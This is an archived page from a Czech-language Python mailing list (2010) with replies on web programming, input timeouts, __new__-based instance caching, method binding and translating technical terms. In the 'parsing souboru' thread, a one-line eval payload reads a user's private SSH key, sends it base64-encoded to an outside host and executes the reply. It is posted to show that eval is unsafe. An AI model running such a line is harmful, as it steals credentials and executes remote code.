 Dakujem za pomoc.
 
 --
 S pozdravom
 
 Beňa
 
 
 
 
 --
 S pozdravom
 
 Beňa
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Python

2010-11-01 Tema obsahu Hynek Fabian
ups, tohle sem tak uplne nepatrilo…

Hynek Fabian (Monday 01 November 2010 13:57:35):
 Pro zacatek bych odporucil
 - naucit se html a zaklady css
 - naucit se aspon zaklady pouzitych sitovych protokolu - ip a http
 To je zaklad webovych stranek. Holy zaklad statickych, nehybnych sranek.
 Slozitejsi veci se resi bud programovanim na strane klienta v Javascriptu,
 nebo na strane serveru v nejakem silnejsim programovacim jazyce.
 Python je uzitecny pouze v poslednim pripade, na serveru. Je tedy jen jedna
 z vrstev pomerne sloziteho prostredi. Rozhodne to neni dobry zpusob jak se
 ucit programovat v neznamem jazyce.
 Pokud/az ti nebude stacit Javascript, muzu python klidne doporucit jako
 dobry jazyk pro zacatecnika, ale NE na webu. Lepsi je zacit s jednoduchymi
 konzolovymi aplikacemi kde nemusis resit kodovani, prenosove protokoly,
 bezstavovost, vlaknovani a podobne webove radosti.
 
 Eclipse je vyvojove prostredi, v podstate prerostly textovy editor - velmi
 mocny, ale taky slozity. Pokud nechces psat v Jave nebo C++ radeji se mu
 vyhni. Porid nejaky jednoduchy textovy editor - pspad, jedit nebo neco
 podobneho  - dulezite je aby to bylo prehledne a pohodlne. Staticke stranky
 jde ladit rovnou v prohlizeci, nic vic neni potreba.
 A ano - v eclipsech jsou uz hotove sablony webovych aplikaci, ale bez
 znalosti toho co jsem psal vyse jsou k nicemu.
 
 Peter Beňa (Friday 29 October 2010 01:03:17):
  Dobry den,
  prepacte ze vyrusujem, ale uz som zufaly. Pisem ohladom jakyka PYTHON a
  chcel bu som sa spytat ze ci sa v nom daju programovat web stranky a ci
  existuje nejaky web server alebo nieco cim by som si to potom mohol
  pozriet ako to vyzera (funguje).Skusam kody v programe eclipse ..je na to
  vhody? a co by ste mi mohli este poradit alebo odporucit na zaciatok?
  
  Dakujem za pomoc.
  
  --
  S pozdravom
  
  Beňa
  
  
  
  
  --
  S pozdravom
  
  Beňa
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Python

2010-11-01 Tema obsahu Hynek Fabian
Jaroslav Lukesh (Monday 01 November 2010 14:28:14):
 Python je náhodou skvělý na webu a vůbec člověk nemusí řešit takové ty oné
 sprosté věci.
Ja jsem taky nepsal ze je python na web spatny. Jen mi prijde sileny snazit se 
pochopit webove programovani zprostredka nejakeho frameworku. Veskera 
dokumentace predpoklada znalost nizsich vrstev - ve vysledku to je jako snazit 
se rozlustit fungovani atomove elektrarny podle napisu na cudlicich ve velinu.
Vysledkem jsou tragicky pripadi, ktery pokud jsou dost vytrvali umi vyblejt 
relativne slozitou aplikaci priohnutim nejakyho ukazkovyho kodu, a pritom 
nechapu ani rozdil mezi GET a POST. Zazil jsem zoufalce ktery v php nastavoval 
$_POST a cekal kdy se mu to objevi zpatky ve formularovem tagu :-)
Zasmat se je jednoduchy, ale vysvetlit to cloveku ktery nechape jak funguje 
http se ukazalo prakticky nemozne...
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Stopky

2010-10-22 Tema obsahu Hynek Fabian
Predpokladam ze tvuj problem neni ten cyklus, ale jak to udelat aby cekani na 
vstup neblokovalo donekonecna.
Zpusobu je vic, co me tak z hlavy napada jako relativne nejjednodussi je 
nechat si za pet minut dorucit signal z casovace, viz modul signal.
Python instaluje implicitni handler ktery vystreli vyjimku KeyboardInterrupt, 
takze na ukonceni programu nepotrebujes vlastne nic nez zavolat 
signal.setitimer() a pak si tu vyjimku odchytit. Behem prace casovac vypnes 
nastavenim na 0. Nebere to v uvahu zastaveni pomoci ^S ale to te predpokladam 
netrapi.
Pokud (az :-) budes chtit neco slozitejsiho, budes potrebovat si prepnout 
stdin do neblokujiciho modu (O_ASYNC) pomoci modulu fcntl. Pak si budes ale 
muset sam resit blokovani (neblokujici nekonecna smycka neni dobry napad) a 
obecne to neni trivialni zalezitost.
Hotove neblokujici cteni je nekde v modulu curses. Nevim jestli jde nejak 
rozumne pouzit bez zbytku curses (initscr() prakticky obrati terminal naruby 
coz nemam rad), ale jestli chces hybat kurzorem, barvicky apod. tak je curses 
asi nejlepsi zpusob.
Jestli jsi na wydlich tak jsou urcite i jine zpusoby (conio?) ale to tom nic 
nevim.

remixus79 (Friday 22 October 2010 13:37:06):
 Zdravím,
 
 potreboval by som poradiť. Mám program v ktorom je nekonečný cyklus.
 Tento cyklus stale caka na vstup od uzivatela. Potreboval by som to
 spraviť tak že by stále čakal na ten vstup ale zároveň by aj
 kontroloval čas a ak by užívateľ nič nezadal po 5minútach by sa
 vypol.
 
 
 Ďakujem za každú radu.
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Proces vs. vlakno

2010-10-22 Tema obsahu Hynek Fabian
Hloupa otazka - neni to chyba mereni?
Vetsina nastroju ohlasi prosty soucet velikosti vsech stranek pameti procesu a 
stranky sdilene pomoci copy-on-write nebere v uvahu.
Vlakna se uctuji svemu materskemu procesu spolecne, takze ukazuji jinak.
V kazdem pripade by pomohlo vedet o jaky system jde.

Tomas Hnizdil (Thursday 21 October 2010 23:25:05):
 Hezky vecer,
 
 spis ciste ze zvedavosti - nesetkali jste se nekdo s ruznym chovanim
 pythonu (2.4.4) na ruznych architekturach (32 vs 64bit) co se tyce
 podprocesu a vlaken?
 
 Mame aplikaci typu klient-server, ktera si pro kazdeho klienta na 32bit
 vyvari novy proces (ktery si zabere par desitek MB pameti), oproti tomu na
 64bit platformach vytvari pouze nova vlakna, takze je to z hlediska
 spotreby pameti o neco veselejsi (a mym ukolem je, aby to bylo vesele i na
 platformach s kratsima adresama :)). Jediny rozdil v softwaru ktery to
 podle platforem je, je v pythonu (:)) a knihovne omniORB, ktera slouzi ke
 komunikaci klientu se serverem, kde bych asi problem nehledal. Problem je
 ale, ze netusim takhle od boku ani kde bych hledat zacit mel.
 
 Diky za napady
 Tom
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] nechtene propojeni mnozin

2010-10-14 Tema obsahu Hynek Fabian
Pol, Leos (Thursday 14 October 2010 12:56:13):
 Fuj, takhle pisou ceckari :-)
 R0 = list(range(8))
 
 Fuj, proc z listu znova delat list ;-)
Protoze jsem se kdysi davno nekde docetl o planech sloucit range() a xrange(), 
a zvykl jsem si v ramci dopredny kompatiblility explicitne si delat list tam 
kde chci vic nez jen iterovat pres generator.
Plany byly bud zavrzeny nebo uplne blby, nevim, ale zvyk mi uz zustal.
A ted me omluvte, jdu se stydet do kouta.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] =?utf-8?q?T=C5=99=C3=ADda?=, kter á vytvoří instanci jen pokud tam už není instance se stejnými parametry

2010-07-22 Tema obsahu Hynek Fabian
Je to mozne udelat pretizenim metody __new__()
Jen pozor na to, ze kdyz se vrati existujici instance z cache,
bude zavolana jeji metoda __init__() jako by byla nova

class Zvire(object):
_cache = {}

def __new__(cls, name, *args, **kargs):
if name not in cls._cache:
cls._cache[name] = object.__new__(Zvire)
return cls._cache[name]



MICHÁLEK Jan Mgr. (čtvrtek 22 Červenec 2010 14:50:50):
 Otázka:
   je možné napsat třídu tak, aby vytvořila instanci, jen pokud ještě
 instance se stejnými parametry ještě neexistuje.
 
 Např:
   mám třídu zvíře a chtěl bych, aby se chovala následujícím způsobem
 
  z1 = zvire('hroch')
  z1
 
 __main__.zvire instance at 0x017C1EE0
 
  z2 = zvire('pes')
  z2
 
 __main__.zvire instance at 0x017C1760
 
  z3 = zvire('hroch')
  z3
 
 __main__.zvire instance at 0x017C1EE0
 
 
 Jde to nějak rozumně (a pochopitelně) udělat??
 
 Je.
 
 Mgr Jan Michálek
 
 oddělení GIS
 
 útvar ISaT
 
 ÚHÚL Brandýs nad Labem
 
 tel.: +420 322 319 886
 
 email: mailto:michalek@uhul.cz
 
 url: http://www.uhul.cz/
 
 
 
 
 __ Informace od ESET NOD32 Antivirus, verze databaze 5300
 (20100722) __
 
 Tuto zpravu proveril ESET NOD32 Antivirus.
 
 http://www.eset.cz
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] =?iso-8859-2?q?=5Bpython=5D =09T=F8=EDda?=, která vytvoří instanci j en pokud tam už není instance se stejnými parametry

2010-07-22 Tema obsahu Hynek Fabian
Kdyz se tvori nova instance, zavola se __new__()
prvni arg je trida, zbytek jsou argumenty predany konstruktoru
Zabudovana implementace __new__ obstara alokaci pameti a takovy ty nezajimavy 
veci a vytvori opravdovou, nefalsovanou instanci. Ta je pak predana do 
__init__() jako 'self' argument. Nic vic na tom neni.

Kdyz do toho chces nejak zasahnout, staci ve spravny okamzik zavolat 
object.__new__(cls) ktery obstara alokaci pameti a vrati ti novou instanci 
typu cls - v podstate jen prazdny jmenny prostor, se kterym si mzues delat co 
chces. Naivkove takhle tvori singleton :-)
__init__() volat nemusis - pokud volani __new__ vrati jakoukoliv (nova, stara, 
potomek, vsechno jedno) instanci cls, interpretr ho zavola sam. Pokud ven 
vyleze jiny objekt, bude se povazovat za vysledek konstrukce jako by se nic 
zvlastniho nedelo, ALE jeho __init__ se nezavola - predpoklada se, ze uz je 
zkostruovany cili by se volal podruhe.


MICHÁLEK Jan Mgr. (čtvrtek 22 Červenec 2010 15:25:56):
 Všem děkuju za rady, du to vyzkoušet, mám tu dva různý přístupy, ale ani
 jeden uplně nechápu, nicméně s pomocí Googlu si to snad rozpitvam.
 
 Vřelý díky
 
 (teda pánové, mam z Vás mindrák, na tohle bych sám asi nepřišel)
 
 -Original Message-
 From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf Of Tomáš
 Drenčák Sent: Thursday, July 22, 2010 3:21 PM
 To: Konference PyCZ
 Subject: Re: [python]Třída, která vytvoří instanci jen pokud tam už není
 instance se stejnými parametry
 
 Aha, tak po dostudovani pojmov to nie je pouzitie metaclass ale len __new__
 metody. Tato metoda je zodpovedna za vytvorenie novej instancie objektu.
 Priklad ale zostava platny
 
 2010/7/22 Tomáš Drenčák to...@drencak.com:
  No ja by som pouzil metaclass (staci definovat metodu __new__), vid
  priklad:
  
  xxx = {}
  class Xxx(object):
 def __new__(cls, param):
 global xxx
 if param not in xxx:
 xxx[param] = super(Xxx, cls).__new__(cls, param)
 return xxx[param]
  
 def __init__(self, param):
 self.param = param
  
  3077417100
  3077417228
  3077417100
  
  Vypise
  3077417100
  3077417228
  3077417100
  
  V kode potom nemusis nic menit...
  
  2010/7/22 MICHÁLEK Jan Mgr. michalek@uhul.cz:
  Ten slovník tam mám, já to umím zachytit, ale neumim udělat to, aby
  se ta instance nevytvořila přes init, šlo by udělat
  
  z1= Zvire.pridejZvire('hroch') #a ta metoda bz se podivala do
  slovniku a buď hotovýho hrocha vrátila, nebo udělala fungl novýho
  
  ale to já nechci, já to chci dělat
  
  z1 = Zvire('hroch')
  
  kdybych to narval do nový tridy tak si stejne nepomuzu, udela se tak
  jako tak nova instance.
  
  From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf Of
  Juda Kaleta
  Sent: Thursday, July 22, 2010 2:59 PM
  To: Konference PyCZ
  Subject: Re: [python] Třída, která vytvoří instanci jen pokud tam už
  není instance se stejnými parametry
  
  Vhodné by bylo mít na vytváření těchto objektů nějakou továrničku -
  ta by obsahovala slovník s již vytvořeními instancemi ({'pes':...,
  'hroch':...}). Při volání metody k vytvoření nového objektu by se
  kouklo do
  slovníku, pokud by tam již objekt s tímto klíčem byl, vrátil by se
  ten, pokud ne, vytvořil by se nový objekt.
  
  Juda Kaleta
  
  E-mail: juda.kal...@gmail.com
  Jabber: ye...@jabber.cz
  
  Dne 22.7.2010 14:50, MICHÁLEK Jan Mgr. napsal(a):
  
  Otázka:
je možné napsat třídu tak, aby vytvořila instanci, jen pokud ještě
  instance se stejnými parametry ještě neexistuje.
  
  Např:
mám třídu zvíře a chtěl bych, aby se chovala následujícím způsobem
  
  z1 = zvire('hroch')
  z1
  
  __main__.zvire instance at 0x017C1EE0
  
  z2 = zvire('pes')
  z2
  
  __main__.zvire instance at 0x017C1760
  
  z3 = zvire('hroch')
  z3
  
  __main__.zvire instance at 0x017C1EE0
  
  
  Jde to nějak rozumně (a pochopitelně) udělat??
  
  Je.
  
  Mgr Jan Michálek
  
  oddělení GIS
  
  útvar ISaT
  
  ÚHÚL Brandýs nad Labem
  
  tel.: +420 322 319 886
  
  email: mailto:michalek@uhul.cz
  
  url: http://www.uhul.cz/
  
  
  
  __ Informace od ESET NOD32 Antivirus, verze databaze 5300
  (20100722) __
  
  Tuto zpravu proveril ESET NOD32 Antivirus.
  
  http://www.eset.cz
  
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
  
  __ Informace od ESET NOD32 Antivirus, verze databaze 5300
  (20100722) __
  
  Tuto zpravu proveril ESET NOD32 Antivirus.
  
  http://www.eset.cz
  
  
  __ Informace od ESET NOD32 Antivirus, verze databaze 5300
  (20100722) __
  
  Tuto zpravu proveril ESET NOD32 Antivirus.
  
  http://www.eset.cz
  
  
  __ Informace od ESET NOD32 Antivirus, verze databaze 5300
  (20100722) __
  
  Tuto zpravu proveril ESET NOD32 Antivirus.
  
  http://www.eset.cz
  
  ___
  

Re: [python] =?iso-8859-2?q?T=F8=EDda? =, která vytvoří instanci jen pokud tam už nen í instance se stejnými parametry

2010-07-22 Tema obsahu Hynek Fabian
Protoze je to old-style trida. ty zadny __new__ nemaji. Ani sloty, 
deskriptory, nic. 

MICHÁLEK Jan Mgr. (čtvrtek 22 Červenec 2010 16:13:27):
 No, mě není jasný potom, proč, když dám
 
  class c1:
   def __new__(cls):
   print 'new'
   def __init__(self):
   print 'init'
 
  c=c1()
 
 init
 
 
 Proč se pustí jen init a ne new??
 
 Dík
 
 -Original Message-
 From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf Of Hynek
 Fabian Sent: Thursday, July 22, 2010 3:55 PM
 To: Konference PyCZ
 Subject: Re: [python] =?iso-8859-2?q?=5Bpython=5D=09T=F8=EDda?=, která
 vytvoří instanci jen pokud tam už není instance se stejnými parametry
 
 Kdyz se tvori nova instance, zavola se __new__() prvni arg je trida, zbytek
 jsou argumenty predany konstruktoru Zabudovana implementace __new__
 obstara alokaci pameti a takovy ty nezajimavy veci a vytvori opravdovou,
 nefalsovanou instanci. Ta je pak predana do __init__() jako 'self'
 argument. Nic vic na tom neni.
 
 Kdyz do toho chces nejak zasahnout, staci ve spravny okamzik zavolat
 object.__new__(cls) ktery obstara alokaci pameti a vrati ti novou instanci
 typu cls - v podstate jen prazdny jmenny prostor, se kterym si mzues delat
 co chces. Naivkove takhle tvori singleton :-) __init__() volat nemusis -
 pokud volani __new__ vrati jakoukoliv (nova, stara, potomek, vsechno
 jedno) instanci cls, interpretr ho zavola sam. Pokud ven vyleze jiny
 objekt, bude se povazovat za vysledek konstrukce jako by se nic zvlastniho
 nedelo, ALE jeho __init__ se nezavola - predpoklada se, ze uz je
 zkostruovany cili by se volal podruhe.
 
 MICHÁLEK Jan Mgr. (čtvrtek 22 Červenec 2010 15:25:56):
  Všem děkuju za rady, du to vyzkoušet, mám tu dva různý přístupy, ale
  ani jeden uplně nechápu, nicméně s pomocí Googlu si to snad rozpitvam.
  
  Vřelý díky
  
  (teda pánové, mam z Vás mindrák, na tohle bych sám asi nepřišel)
  
  -Original Message-
  From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf Of
  Tomáš Drenčák Sent: Thursday, July 22, 2010 3:21 PM
  To: Konference PyCZ
  Subject: Re: [python]Třída, která vytvoří instanci jen pokud tam už
  není instance se stejnými parametry
  
  Aha, tak po dostudovani pojmov to nie je pouzitie metaclass ale len
  __new__ metody. Tato metoda je zodpovedna za vytvorenie novej instancie
  objektu. Priklad ale zostava platny
  
  2010/7/22 Tomáš Drenčák to...@drencak.com:
   No ja by som pouzil metaclass (staci definovat metodu __new__), vid
   priklad:
   
   xxx = {}
   
   class Xxx(object):
  def __new__(cls, param):
  global xxx
  
  if param not in xxx:
  xxx[param] = super(Xxx, cls).__new__(cls, param)
  
  return xxx[param]
  
  def __init__(self, param):
  self.param = param
   
   3077417100
   3077417228
   3077417100
   
   Vypise
   3077417100
   3077417228
   3077417100
   
   V kode potom nemusis nic menit...
   
   2010/7/22 MICHÁLEK Jan Mgr. michalek@uhul.cz:
   Ten slovník tam mám, já to umím zachytit, ale neumim udělat to, aby
   se ta instance nevytvořila přes init, šlo by udělat
   
   z1= Zvire.pridejZvire('hroch') #a ta metoda bz se podivala do
   slovniku a buď hotovýho hrocha vrátila, nebo udělala fungl novýho
   
   ale to já nechci, já to chci dělat
   
   z1 = Zvire('hroch')
   
   kdybych to narval do nový tridy tak si stejne nepomuzu, udela se
   tak jako tak nova instance.
   
   From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf
   Of Juda Kaleta
   Sent: Thursday, July 22, 2010 2:59 PM
   To: Konference PyCZ
   Subject: Re: [python] Třída, která vytvoří instanci jen pokud tam
   už není instance se stejnými parametry
   
   Vhodné by bylo mít na vytváření těchto objektů nějakou továrničku -
   ta by obsahovala slovník s již vytvořeními instancemi ({'pes':...,
   'hroch':...}). Při volání metody k vytvoření nového objektu by se
   kouklo do slovníku, pokud by tam již objekt s tímto klíčem byl,
   vrátil by se ten, pokud ne, vytvořil by se nový objekt.
   
   Juda Kaleta
   
   E-mail: juda.kal...@gmail.com
   Jabber: ye...@jabber.cz
   
   Dne 22.7.2010 14:50, MICHÁLEK Jan Mgr. napsal(a):
   
   Otázka:
 je možné napsat třídu tak, aby vytvořila instanci, jen pokud
   
   ještě instance se stejnými parametry ještě neexistuje.
   
   Např:
 mám třídu zvíře a chtěl bych, aby se chovala následujícím
   
   způsobem
   
   z1 = zvire('hroch')
   z1
   
   __main__.zvire instance at 0x017C1EE0
   
   z2 = zvire('pes')
   z2
   
   __main__.zvire instance at 0x017C1760
   
   z3 = zvire('hroch')
   z3
   
   __main__.zvire instance at 0x017C1EE0
   
   
   Jde to nějak rozumně (a pochopitelně) udělat??
   
   Je.
   
   Mgr Jan Michálek
   
   oddělení GIS
   
   útvar ISaT
   
   ÚHÚL Brandýs nad Labem
   
   tel.: +420 322 319 886
   
   email: mailto:michalek@uhul.cz
   
   url: http://www.uhul.cz

Re: [python] OT: preklad cookies

2010-05-11 Tema obsahu Hynek Fabian
Vladimir Macek (úterý 11 Květen 2010 14:29:50):
 Ano, při překladu pro Microsoft (a ten měl hodně striktní pravidla) byla
 striktní instrukce překládat jako soubor cookie. Nepřijde mi to až tak
 špatné.
Výsledek je jedno špatně zvolené slovo (cookie není soubor) a jedno 
nepřeložené slovo. Nepřijde mi to až tak dobré.

Já bych se podíval tam, kde čtenář uvidí to slovo nejčastěji - do prohlížeče. 
Na mém stroji:
Opera - „cookie“
Firefox - „cookie“
Chromium - „soubor cookie“ :-)
Konqueror - „cookie“
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
Jan Janech (středa 05 Květen 2010 13:08:49):
 Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
 narusenie bezpecnosti sa da spravit aj v eval.
Jak?

eval(x, {}, {})

Jakým X se dá z takové konstrukce utéci?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] parsing souboru

2010-05-05 Tema obsahu Hynek Fabian
To je ale krásně hnusný… odvolávám co jsem odvolal a slibuji co jsem slíbil,
evalu se budu nadále vyhýbat obloukem.

Petr Messner (středa 05 Květen 2010 14:37:20):
 eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import
 __('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read
 (), {}, {})
 
 2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz:
  Jan Janech (středa 05 Květen 2010 13:08:49):
  Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre
  narusenie bezpecnosti sa da spravit aj v eval.
  
  Jak?
  
  eval(x, {}, {})
  
  Jakým X se dá z takové konstrukce utéci?
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] OT: překlad syndication feeds

2010-04-28 Tema obsahu Hynek Fabian
Se syndikací souhlasím, ale „dávky“? Fuj.
„Syndikace článků“ když už. Nebo obecněji, „syndikace obsahu“.

Vladimir Macek (úterý 27 Duben 2010 12:37:02):
 On 27.4.2010 11:40, Přikryl Petr wrote:
  Ahoj fšeci, Tohle by ale někdo mohl vědět. syndication feeds ...ve
  smyslu RSS. Tady vůbec netuším, jestli se tomu nějak česky říká.
  Sdružené krmení nenavrhujte ani náhodou :)
 
 Počeštění syndikace už zdomácnělo. Dávky taky. Takže syndikované dávky.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] OT: překlad pojmů first-class o bject a stream object

2010-04-27 Tema obsahu Hynek Fabian
Když to tak čtu, řekl bych že by do debaty taky měl patřit překlad termínu 
second-class object.

Přikryl Petr (úterý 27 Duben 2010 12:12:10):
 Hynek Fabian
 
 Přikryl Petr (úterý 27 Duben 2010 09:41:46):
  ... first-class objekt ...
 
 Mě v takových případech pomáhá párkrát výraz prohnat slovníkem tam a
 zpátky, v tomto případě jsem skončil zhruba u „bezvadný“ nebo „úplný“
 objekt. Není to možná přesné, ale vyjadřuje to princip - že ostatní
 objekty jsou nedokonalé.
 Problém je v tom, že to nemá vyjadřovat
 dokonalost či nedokonalost ostatních
 objektů. Jde o to, že je něco objektem,
 i když v jiných podmínkách (v jiných jazycích)
 to vlastnosti objektu mít nemusí.
 V tomto smyslu prvotřídní nebo úplný je divné.
 Opravdu nejvíc mi sedí plnohodnotný, ale je
 otázka, jestli je to vhodný název pro pojem
 (plnohodnotný objekt). Taky se k tomu můžu postavit
 tak, že by to nebylo vnucováno jako kodifikovaný pojem,
 ale prostě jako srozumitelné vyjádření -- opis významu.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] printy v češtině na WINDOWS/cmd kon zoli nečitelné

2010-04-27 Tema obsahu Hynek Fabian
petrofF (úterý 27 Duben 2010 19:03:16):
 V PyDev/Eclipse je zobrazení (Pydev Console) v pořádku:
 - v editoru nastavené kódování cp1250
 - uvozeno: # -*- coding: cp1250 -*-
 Tentýž script.py je v konzoli (Python 2.5 / Windows XP / cmd: default
 CP=1250) zobrazen chybně:
 Např.:
  [0x82] é se zobrazí jako Ú
To bude mít možná nějakou souvislost s tím, že dlouhé e není 0x82 ale 0xE9 :-)

konstrukce #-*- coding: cp1250 -*- má vliv pouze na řetezcové literály v kódu,
jestli čteš data odjinud, musíš si je dekódovat sám.
Totéž se týká výstupu, příkaz print respektuje nastavení prostředí, metoda 
write() prostě bleje bajty a překódování je zase na tobě.
V *nixu je prostředí řízeno LC_ALL, jak to řeší wydle netuším. Ale mám 
nepříjemný pocit že cmd.exe simuluje v českých wydlích dosovskou cp852.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Záměna funkce v instanci objektu

2010-04-20 Tema obsahu Hynek Fabian


302302 (úterý 20 Duben 2010 09:56:14):
 Ano, mělo by to být dynamické. A vaše řešení se mi líbí. Jenom nechápu proč
 to nelze udělat tím prostým přiřazením? Co se tedy vlastně stane, když do
 metody nějakého objektu přiřadím novou funkci?
do metody nic nepřiřadíš, jen nahradíš jeden objekt ve jmenném prostoru 
instance jiným - v daném případě obyčejnou funkcí. Jeden způsob je vázat ji 
ručně:

class C: pass
c = C()
def a(self): pass
c.(a)

Pokud chceš jen předávat někam jednu metodu, může být jednodušší ji svázat 
ručne:

b = lambda: a(c)

Je to jen kosmetická úprava proti ručnímu svázání a je to funkčně zcela shodné 
s opravdovou metodou objektu.
Pokud chceš opravdovou vázanou metodu, můžeš si ji vyrobit:

import types
b = types.MethodType(a, c, C)
c.b = b

b() bude nadále dostávat jako první argument instanci c
Mezi voláním b() a c.b() není žádný rozdíl, totéž platí pro konstrukci s 
lambdou. Ta je sice jiného typu (LambdaType vs. MethodType) ale dělá totéž, 
metody se v pythonu od funkcí ničím jiným neliší.

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Záměna funkce v instanci objektu

2010-04-20 Tema obsahu Hynek Fabian
Ještě jsem na to koukal a zjistil jsem zajimavou věc.
MethodType a UnboundMethodType jsou tentýž objekt,
čili vázané a odvázané metody jsou na oko stejného typu.
Typ zkonstruované metody závisí na argumentech:

MethodType(funkce, instance) # vrátí vázanou metodu
MethodType(funkce, None, třída)  # vrátí odvázanou metodu

Když se použije jak instance, tak třída, výsledek je vázaná metoda.


Hynek Fabian (úterý 20 Duben 2010 11:10:20):
 302302 (úterý 20 Duben 2010 09:56:14):
  Ano, mělo by to být dynamické. A vaše řešení se mi líbí. Jenom nechápu
  proč to nelze udělat tím prostým přiřazením? Co se tedy vlastně stane,
  když do metody nějakého objektu přiřadím novou funkci?
 
 do metody nic nepřiřadíš, jen nahradíš jeden objekt ve jmenném prostoru
 instance jiným - v daném případě obyčejnou funkcí. Jeden způsob je vázat ji
 ručně:
 
 class C: pass
 c = C()
 def a(self): pass
 c.(a)
 
 Pokud chceš jen předávat někam jednu metodu, může být jednodušší ji svázat
 ručne:
 
 b = lambda: a(c)
 
 Je to jen kosmetická úprava proti ručnímu svázání a je to funkčně zcela
 shodné s opravdovou metodou objektu.
 Pokud chceš opravdovou vázanou metodu, můžeš si ji vyrobit:
 
 import types
 b = types.MethodType(a, c, C)
 c.b = b
 
 b() bude nadále dostávat jako první argument instanci c
 Mezi voláním b() a c.b() není žádný rozdíl, totéž platí pro konstrukci s
 lambdou. Ta je sice jiného typu (LambdaType vs. MethodType) ale dělá totéž,
 metody se v pythonu od funkcí ničím jiným neliší.
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: preklad sanity check

2010-04-08 Tema obsahu Hynek Fabian
test příčetnosti

Přikryl Petr (čtvrtek 08 Duben 2010 09:00:28):
 (Off topic)
 
 Zdravím všechny pojídače velikonočních vajec ;)
 
 Má tady další Kolik třešní, tolik višní...
 
 Překládal jste někdo pojem sanity check?
 Nebo jste to někdy někde viděli přeložené?
 Mám nějaké nápady, ale nic moc (a nechci ovlivňovat).
 
 Jaké nápady máte vy? Předem upozorňuji,
 že to rozhodně nechci ponechat v anglickém
 tvaru, takže pokud navrhujete nepřekládat,
 chci vám tímto ušetřit práci a čas na reakci ;)
 
 Díky za nápady. Přeju hodně slunečního svitu,
 málo práce a dobrou náladu.
 
 pepr
 
 P.S. Pokud to nechcete zahnojovat příspěvky
 v tomto vzácném fóru, doporučuji konec stránky
 http://blog.nic.cz/2010/03/25/pomozte-nam-s-prekladem-knihy-dive-into-pytho
 n-3/
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] OT: preklad sanity check

2010-04-08 Tema obsahu Hynek Fabian
http://www.merriam-webster.com/dictionary/sanity

the quality or state of being sane; 
especially : soundness or health of mind

No a ti co píšou o korektnosti by se měli mrknout do slovníku :-P
Ne že by se dalo vždy všechno překládat doslova,
ale tento případ se mi zdá přesný a výstižný.

David Rohleder (čtvrtek 08 Duben 2010 13:05:59):
 spíš kontrola korektnosti. Správný vstup je pak podmnožinou korektního
 vstupu.
 
 No a ti co píšou o příčetnosti by se měli mrknout do zrcadla :-)
 
 Petr Messner píše v Čt 08. 04. 2010 v 12:31 +0200:
  test správnosti
  
  2010/4/8 Přikryl Petr prik...@atlas.cz:
   (Off topic)
   
   Zdravím všechny pojídače velikonočních vajec ;)
   
   Má tady další Kolik třešní, tolik višní...
   
   Překládal jste někdo pojem sanity check?
   Nebo jste to někdy někde viděli přeložené?
   Mám nějaké nápady, ale nic moc (a nechci ovlivňovat).
   
   Jaké nápady máte vy? Předem upozorňuji,
   že to rozhodně nechci ponechat v anglickém
   tvaru, takže pokud navrhujete nepřekládat,
   chci vám tímto ušetřit práci a čas na reakci ;)
   
   Díky za nápady. Přeju hodně slunečního svitu,
   málo práce a dobrou náladu.
   
   pepr
   
   P.S. Pokud to nechcete zahnojovat příspěvky
   v tomto vzácném fóru, doporučuji konec stránky
   http://blog.nic.cz/2010/03/25/pomozte-nam-s-prekladem-knihy-dive-into-p
   ython-3/ ___
   Python mailing list
   Python@py.cz
   http://www.py.cz/mailman/listinfo/python
  
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] list comprehension -- prozatimni zaver

2010-03-29 Tema obsahu Hynek Fabian
Přikryl Petr:
list comprehension = generátorová notace seznamu
set comprehension = generátorová notace množiny
dictionary comprehension = generátorová notace slovníku

Po technické stránce je to perfektní. Ale obávám se, že prakticky mají takové 
výrazy stejnou šanci uchytit se jako „smrkonosoplena“. IMO ve skutečném 
používání vítězí krátké a stručné termíny nad popisnými, a dvanáct slabik je 
moc.
